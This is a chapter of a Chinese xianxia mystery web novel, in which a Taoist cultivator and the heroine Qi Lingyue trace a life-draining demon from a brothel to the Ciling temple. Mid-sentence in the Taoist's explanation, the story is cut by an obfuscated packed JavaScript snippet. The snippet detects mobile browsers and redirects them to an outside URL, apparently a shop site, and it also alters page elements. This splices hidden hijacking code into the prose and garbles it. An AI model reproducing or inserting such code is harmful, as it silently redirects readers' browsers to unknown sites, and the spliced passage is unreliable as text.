他看向祁灵越,“唤我启慧道人即可,我方才已然看过月莲了,他中了妖法,被吸了精气,却也不是无可救药。我这里有一颗灵丹,他吃下去,还可再活十二个时辰。” 龟奴大喜,跪拜叩首:“道人,请您救救月莲!” 启慧点点头,说话的时候胡子飘了起来:“降妖除魔,济世救人,乃是我们道士的本分,只是……” 他望着天,搓搓手。 龟公没有方才那么激动了,谨慎问道:“不知需要多少银钱?” 启慧抚须道:“银钱不银钱的,都是俗物,主要是心诚。” 龟公道:“十两银子?” 启慧闭目不语。 龟公道:“一百两?” 启慧掐指摇头。 龟公忍痛道:“五百两?” 启慧掀开一只眼皮,又闭上。 龟公不说话了。 祁灵越道:“两千两,救活月莲。” 启慧抚须的手一抖,不小心扯下了那半截歪了的胡子,眼睛左右一瞄,趁人不注意往袖中一塞,手向祁灵越跟前一伸:“救人一命胜造七级浮屠,钱不钱财的,都是身外之物。” 5.月兰暴毙。 停放月莲尸体的雅室内。 祁灵越站在床头,看启慧在怀中掏取一会,在众人耐心告罄之前,取出一个碗大的药团。 说是药团也不尽然,从形状来看,像是某种有辱斯文、不可言说之物。 启慧从那坨药团上扣出丹药大小的份量,在手中揉搓,饶是不拘小节的祁灵越,此时也不免额上青筋横跳。 丹药送入月莲口中,启慧晃着拂尘在他头上一点,一缕白色的灵气钻入额心,他身上的血肉肉眼可见地生长,胸膛渐有微弱起伏,只是仍然面如金纸,一双眼死死瞪着前方。 在场之人皆为此等起死回生的神迹惊得说不出话,看向启慧的目光不觉带了几分敬意:这居然是个货真价实的道士! 祁灵越将月莲的变化看在眼里,心中亦有波澜。 虽做了个神仙梦,自己从城主之女摇身一变成了下凡戴罪立功的罪仙,也曾救助过不少百姓,然而这一刻见了真正的修士术法,才知修士和普通人之间的天堑。 从阎王手下夺回一条性命,在普通人心中难如登天,在修士手下,不过一道术法、一颗丹药的事罢了。 启慧吹了吹胡子,拂尘一甩,道:“这灵丹裹以我的一缕灵气,不过是吊着他的性命罢了。要想真的救他,得在十二个时辰之内寻到妖物,妖物死了,妖法也就破除了。” 龟公道:“还请仙人救救月莲!” 祁灵越没有说话,这启慧既是太隐的修士,作修士扮相来到此地,绝不是龟公派个人恰巧碰到的,说不定正是为此妖而来。作乱的是什么妖,藏身何地,只怕对方早已有所察。 启慧将在场之人都看了一眼,目光在祁灵越身上停顿最久,道:“你们楼中的妖气过于强烈,可我来时看了一圈,那妖并不在楼里。不过——” 王钦舟是个急性子,道:“不过什么,能不能一口气说完?” 启慧笑了笑,道:“这妖气,正是从这位娘子身上传出来的。” “你胡说什么!”王钦舟见她拂尘指向祁灵越,揽袖上前。 巧玉亦脱口而出:“你胡说!” “仙人,你莫不是在开玩笑罢?”龟公觑了祁灵越一眼,“灵越大人怎么可能是妖?” 虽这样说,却不动声色地挪得离她远了一些,声音也没什么底气。 宣素轻咳两声,虚弱道:“启慧道长,你是不是弄错了?” 启慧将祁灵越从头到尾的仔细看了一遍,目光定在她怀里的花狸奴身上。 王钦舟方才还面色不快,此刻立即跳出来,道:“对!道长,定是这花狸奴!” 他急切道:“灵越,快把它放下来!莫叫猫妖害了!” 花狸奴抬起碧绿的眸子,懒懒地看了看王钦舟,在祁灵越怀中淡定舔爪。 祁灵越不慌不忙,忽然凑上前去,离启慧极近,将歪了的胡须摆摆正,见她面色逐渐涨红,才离远了些,笑道:“启慧道长,你不能仗着自己有几分英俊就随口胡言。话可以说,不能只说一半。” 王钦舟看不出启慧的女儿身,只觉这些个臭男人来一个祁灵越便要调戏一个,已然快要气昏过去。 启慧从未和小娘子离得这么近过,宗门里都是些皮糙肉厚的师兄师姐,如今竟被香香软软的貌美小娘子逗弄,心神微乱,半晌才道:“问题不出在花狸奴身上,也不出在这位娘子身上。敢问娘子,你家中可有人曾去过土地庙一类的地方?” 祁灵越早在看到泥菩萨的瞬间就想到了慈灵仙庙,两桩事情发生在一起,怎么看也不可能是巧合,便道:“家母今晨才从慈灵仙庙归来。” “慈灵……竟是慈灵,难怪。”启慧若有所思,喃喃自语过后拂尘一挥,“这便对了。问题就出在这里。妖气中夹杂着些许香火气,正是从庙中带出来。” 龟公忙道:“仙长,还等什么,快去将那妖物捉拿归案罢!” 启慧点点头。原本这样的事做了许多遍,现下不知怎么有些扭捏起来,对上祁灵越仍是似笑非笑暗含期待的双眼,心一横,望天,搓手:“斩妖除魔,是在下的职责所在。” 在场众人:“……” 他们的神情都表达着一个意思:这年头,连真道士也行坑蒙拐骗之道了。 祁灵越往她伸着的手心放上一物。 启慧感受到放在手心的东西颇有份量,欣喜地瞄了一眼,却是一个由罗布包着的物什。就见祁灵越淡笑着将罗布一挑,露出里面的东西来,是一尊泥塑的菩萨像。 启慧缩手:“什么玩意?” 祁灵越问道:“道长莫急,你仔细瞧瞧,这泥菩萨上可有妖气?” 启慧摇头:“没有。” 祁灵越笑道:“确定没有?” 启慧道:“确定没有。” 祁灵越将罗布盖回去,绕着启慧走了两圈,在她耳边道:“那便奇了,这泥菩萨,实则也是从慈灵仙庙里带回来的。若是慈灵仙庙中有妖气,泥菩萨身上应该也沾了许多才是。没道理我没去过慈灵仙庙,身上的衣服只是和去了仙庙的家母稍有接触,妖气就这般浓郁,而这泥菩萨,却干干净净,什么也没有。” 龟公道:“这、这泥菩萨不是……” 祁灵越轻哼一声,走到窗台边上,捻了捻上面的脚印:“泥菩萨到底从何而来,你便要问问月莲了,窗台上为何会有沾了香灰的红泥?屋内檀香与庙中的香气极其相近,却又不同,若不是用以迷惑人,你别跟我说,你们春雨楼一个南风馆,改行做寺庙了。” 启慧将泥菩萨拿在手心,细细观摩一二,看到与祁灵越相似的面容,眉头微蹙,低声嘀咕道:“‘东南二十里,大妖庙中藏’,师兄是这样说的呀,难道他的卦又不准了?不对,就算卦不准,既是慈灵仙庙,肯定做不了假。算了算了,到底有没有,去看看不就知道了。” “咳咳,”启慧道,“罢了,相逢即是有缘,就不收你们钱了,我先去那慈灵仙庙看一看。” “道长且慢。”祁灵越叫住她,转头看向龟公,“你去将月兰叫过来。” 待月兰过来,祁灵越又问:“启慧道长,您再看看他身上有没有妖气?” 启慧皱了皱鼻子,以拂尘捂了捂,道:“妖气倒是没有,他几时没沐浴了?” 祁灵越再没有先前的好脸色,冷笑道:“他身上既没有妖气,可有熟悉的香火味?” 修士的嗅觉何其敏锐,经祁灵越一提,启慧细细辨嗅,面色微变,面向月兰,笃定道:“你也去过慈灵仙庙。” 祁灵越故作肃穆,就是为了震慑住月兰,套出信息,实则就算是同样的香火味也说明不了什么。 谁知月兰是个兜不住事的,原本伏在地上,眼见瞒不过,抬手朝宣素一指:“我是去过,又怎样?不过是拜一拜菩萨,求个愿罢了。去的也不止我一个,灵越大人,你没想到罢,宣素也不是看上去那么无欲无求,他也去拜过那慈灵道君!” 宣素也去了慈灵仙殿,倒是祁灵越不曾想到的,她朝宣素看过去,见她微微点头,表示确实如此。 这事情愈发扑朔迷离,不过稍作梳理,却也不算复杂。事关月莲、月兰兄弟二人,宣素,及自己,都和慈灵仙庙有或多或少的联系。 祁灵越道:“既然如此,我也同道君走一趟,去慈灵仙庙看看究竟是怎么一回事。” 继而似好奇地问道:“启慧道长,仙庙本是供奉神仙的地方,妖物怎会藏身于此?你寻找的是哪方大妖,我可帮你打听打听,附近有没有怪事发生的地方。” 这事在修界不算秘辛,启慧将来龙去脉告诉了她: “这你就不知了,许多庙堂虽供奉着神仙,但神仙若不在位,很容易被妖怪侵占神像,窃取香火修炼。那大妖本是我门……咳,仙门封锁在七杀崖底冥河水下的极煞之妖,香火气可遮掩身上的妖气和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618069|206113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煞气。它逃到了雍州地界便不见踪迹,定然藏在某座庙中。” 祁灵越道:“原来如此。道长,我们雍州城城外的山上不止慈灵仙庙,家母也是行错了道才去到仙庙,实际上原本是要前往怀清仙殿。慈灵仙庙破败不堪,平日里没什么人去,知道的也不多。怀清仙殿香火旺盛大妖会不会其实藏在……” “不会。”启慧果断道,“那大妖只可能在慈灵仙庙。” 祁灵越眨眨眼,不解道:“为何?” 她怀中的花狸奴亦甩了甩尾巴。 “灵越娘子,你有所不知,修界曾有一风云人物,借大妖之势无人能敌,明明是人修,却与妖修交好。” “那修士道号慈灵,已经飞升一百余年了。天下何其大,大妖潜逃于世,不去别处,却来了雍州城。我原本并未多想,直到听说这里有座慈灵仙庙。” 启慧笑道:“你说,这大妖奔谁而来?” 两人的对话为月兰听了进去,他虽听不懂什么仙庙与仙殿,却听懂了一件事:她们并不认为是宣素害了月莲,而是将罪名扣在了子虚乌有的大妖身上。 他在两人出门时一把扯住启慧的道袍,大喊:“道长,求您为我做主,害我兄长的真的是宣素!” 启慧险些条件反射地把他踢飞出去,思及师兄‘不能对身无灵力之人动粗’的教导,强行忍住,回头仔仔细细打量宣素,拽着衣角道: “这位公子,我这道袍一百五十两银子,你若扯坏了,可是要赔的哦。至于你说的那位宣素……公子,人家是万万不可加害于你兄长的,总要有动机是不是?” 月兰嘶声尖叫:“他怎么没有动机?!” 然而话说到了这里,就像是被人掐住了嗓子,后面的话再也不肯说了,只恶狠狠地盯着宣素,道:“迟早有一日,你会遭报应的!” 他忽然起身,操起放在桌上的泥菩萨朝地上摔去,“我许愿!宣素!你的下场就会跟这泥菩萨一样,粉身碎骨!” 月兰突然的举动吓了众人一跳。祁灵越看着一地的陶泥碎片,与自己相似的菩萨面上裂开两道惊心的裂纹。 她的心跳得飞快,不祥的预感涌上心头,下一瞬,便见月兰坐地而僵,饱满的皮肤像是泄了气的皮鼓,瞬息之间干瘪,和月莲的先前的惨状别无二致。 这泥菩萨到底用了祁灵越的脸,就这样被破坏,王钦舟喝道:“你做什么!” 他的话只说了一半就卡在了喉咙里,被突发的状况惊骇到了,下意识将巧玉拉到自己身后,站到祁灵越身前去。 宣素苍白的面容愈发没有气色,长睫敛下,像是生怕惊动旁人,捂着帕子低咳。 龟公则是两眼瞪直,亲眼见此骇人之景,吓得直接失声了。 祁灵越将所有人的神情都收进眼里,看向窗外的金羽乌鸦,感觉自己的意识隐隐于某处相连,似乎可以用来对话。她传音道:“方才月兰出事的时候,你可有感受到妖气?” “没有。”金羽乌鸦似乎知道她心中怎么想,问道,“你有了头绪?” 祁灵越:“只有一个猜想,还需去一趟慈灵仙庙验证。” 金羽乌鸦:“你当真要去那里?” 祁灵越:“为何这样问?” 金羽乌鸦:“以你的聪慧,定然知道慈灵道君是谁。我以为,你不会想去。” 祁灵越漫不经心地勾起一个笑:“你最好不要把我当做你认识的‘祁灵越’,也不要用过往对她的了解来揣度我。” 花狸奴似乎不知室内发生了多么惊悚的事,轻飘飘地向金羽乌鸦投去慵懒的目光,深色的瞳仁因光线变化而变为竖瞳。 金羽乌鸦‘嘎’了一声,扇翅膀飞走了。 启慧亦被变故震惊,方才还轻松的面色刹那间黑了下来,沉重道:“他没救了。” “月莲还有救,但他心脉断绝,就算是我师兄来,也救不了他。”